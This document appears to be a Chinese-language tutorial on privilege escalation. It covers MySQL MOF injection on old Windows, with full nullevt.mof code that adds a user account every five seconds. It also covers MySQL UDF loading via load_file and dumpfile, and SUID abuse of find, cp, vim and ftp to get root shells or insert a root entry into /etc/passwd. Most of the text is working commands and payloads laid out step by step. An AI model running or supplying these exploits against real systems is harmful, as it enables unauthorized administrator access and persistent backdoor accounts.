mof提权
利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,每隔五秒就会去监控进程创建和死亡,写入我们的cmd命令使其被带入执行。
MOF提权的条件要求十分严苛:
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null
提权原理
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
公开的nullevt.mof利用代码
1 #pragma namespace("\\\\.\\root\\subscription")
2 instance of __EventFilter as $EventFilter
3 {
4 EventNamespace = "Root\\Cimv2";
5 Name = "filtP2";
6 Query = "Select * From __InstanceModificationEvent "
7 "Where TargetInstance Isa \"Win32_LocalTime\" "
8 "And TargetInstance.Second = 5";
9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };
MOF文件利用
将上面的脚本上传到有读写权限的目录下:
这里上传到了C:\Documents and Settings\test
根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下
payload:
select load_file("C:/Documents and Settings/test/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。
验证提权
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。
可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:
net.exe user localgroup administrator hpdoger /add\
关于Mof提权的弊端
我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
重启服务即可。
UDF提权
数据库(如MySQL)允许用户通过动态链接库(.so或.dll)扩展自定义函数(UDF),本质上是可以将恶意代码注入到数据库服务进程(如mysqld)中。数据库进程会直接加载该.so文件并执行其中的代码,导致攻击者能够以数据库服务的高权限执行任意系统命令(如反弹Shell、添加用户等)。
(1)获取了MySQL的控制权,也就是知道MySQL账号和密码,并且能登录上去。
(2)MySQL具有读写的权限,即secure_file_priv的值为空才行。
(3)MySQL服务以root用户运行,如果是以普通用户运行的话,那么提权之后的权限也是普通用户的权限。
MySQL版本大于5.1,扩展文件必须放在MySQL安装目录的lib\plugin文件夹下。
mysql版本<5.1 需要将扩展文件放在 C:\windows\或C:\windows\system32
提权过程
连接数据库
mysql -u root -p
查看是否有读写权限,发现值为空符合我们的前提。
show global variables like 'secure_file_priv';
查看一下扩展目录在哪里
show global variables like '%plugin%';
在kali的漏洞库里面有以及写好的c语言脚本的,直接编译成.so文件即可
gcc -g -c 1518.c
gcc -g -shared -o rong.so 1518.c
然后下载到靶机的tmp目录下面。
要把扩展文件放到plugin目录下面才可以,但是我们普通用户是没有权限直接把文件移动到plugin下面的。可以在MySQL上面创建一个表,把rong.so的内容写入到表里面,然后再把这个表里面的内容读到plugin目录下面的rong.so文件。这样就实现了tmp目录下的rong.so转移到plugin目录下,所以这就是为啥MySQL要具有读写权限。
show databases;
新建一个表。
use mysql
create table rong(line blob)
把/tmp/rong.so文件内容写入这个新建的表里面,load_file函数就是把文件内容写入到表里面。
insert into rong values(load_file('/tmp/rong.so'));
把表里面的内容读到plugin目录的rong.so,into dumpfile函数就是把表里的内容读入文件里面。
select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so';
把刚刚新建的表删掉(不删也行),清楚痕迹。
drop table rong
已经成功把自定义扩展函数放到plugin目录下面了,接着导入函数。
create function do_system retuns integer soname 'rong.so'
find提权
我们可以给find命令赋予一个suid权限,然后再利用find提权即可。
select do_system('chmod u+s /usr/bin/find');
在执行find命令的过程中利用exec参数来指定其他的命令。例如,在执行find命令过程中又执行whoami命令,因为在执行find命令过程中权限为root,所以最后输出root。找的文件必须是存在滴
find a.txt -exec "whoami" \;
把whoami换成/bin/sh,以root的身份新建一个交互终端即可
find a.txt -exec "/bin/sh" -p \;
cp提权
当运行cp(复制)命令时,就会有root权限,也就是说可以复制任意文件。众所周知/etc/passwd这个文件是保存用户的,只有root才可以修改。那可以把/etc/passwd这个文件的内容复制到一个新建的文件中,然后添加一个root用户,最后再复制回去不完成对/etc/passwd文件的修改,之后再切换刚刚添加的root用户即可。
复制到a.txt中
cp /etc/passwd a.txt
在添加之前,先在kali生成一个密码,用来切换用户用的。
openssl passwd -1 -salt 1×2×3 abc123 //-1为md5,-salt指定盐(随意)密码abc123
然后按照/etc/passwd文件里第一条root用户的格式来添加,把x换成刚刚生成的密码
test:$1$1×2×3$v7HAeao264EWdUs17q7XK/:0:0:root:/root:/bin/bash
再复制回去就ok了。
cp a.txt /etc/passwd
切换我们刚刚添加的用户,并输入刚刚生成的密码即可变成root。
VIM
当vim被赋予suid权限时,可以编辑任意文件。那么我们直接在/etc/passwd添加个用户。
还有一个方法是去修改/etc/sudoers文件,在/etc/sudoers文件中把普通用户的权限配置为root权限,按照root的方式配置即可。
ftp提权
先输入ftp ,再在底行输入!/bin/sh -p即可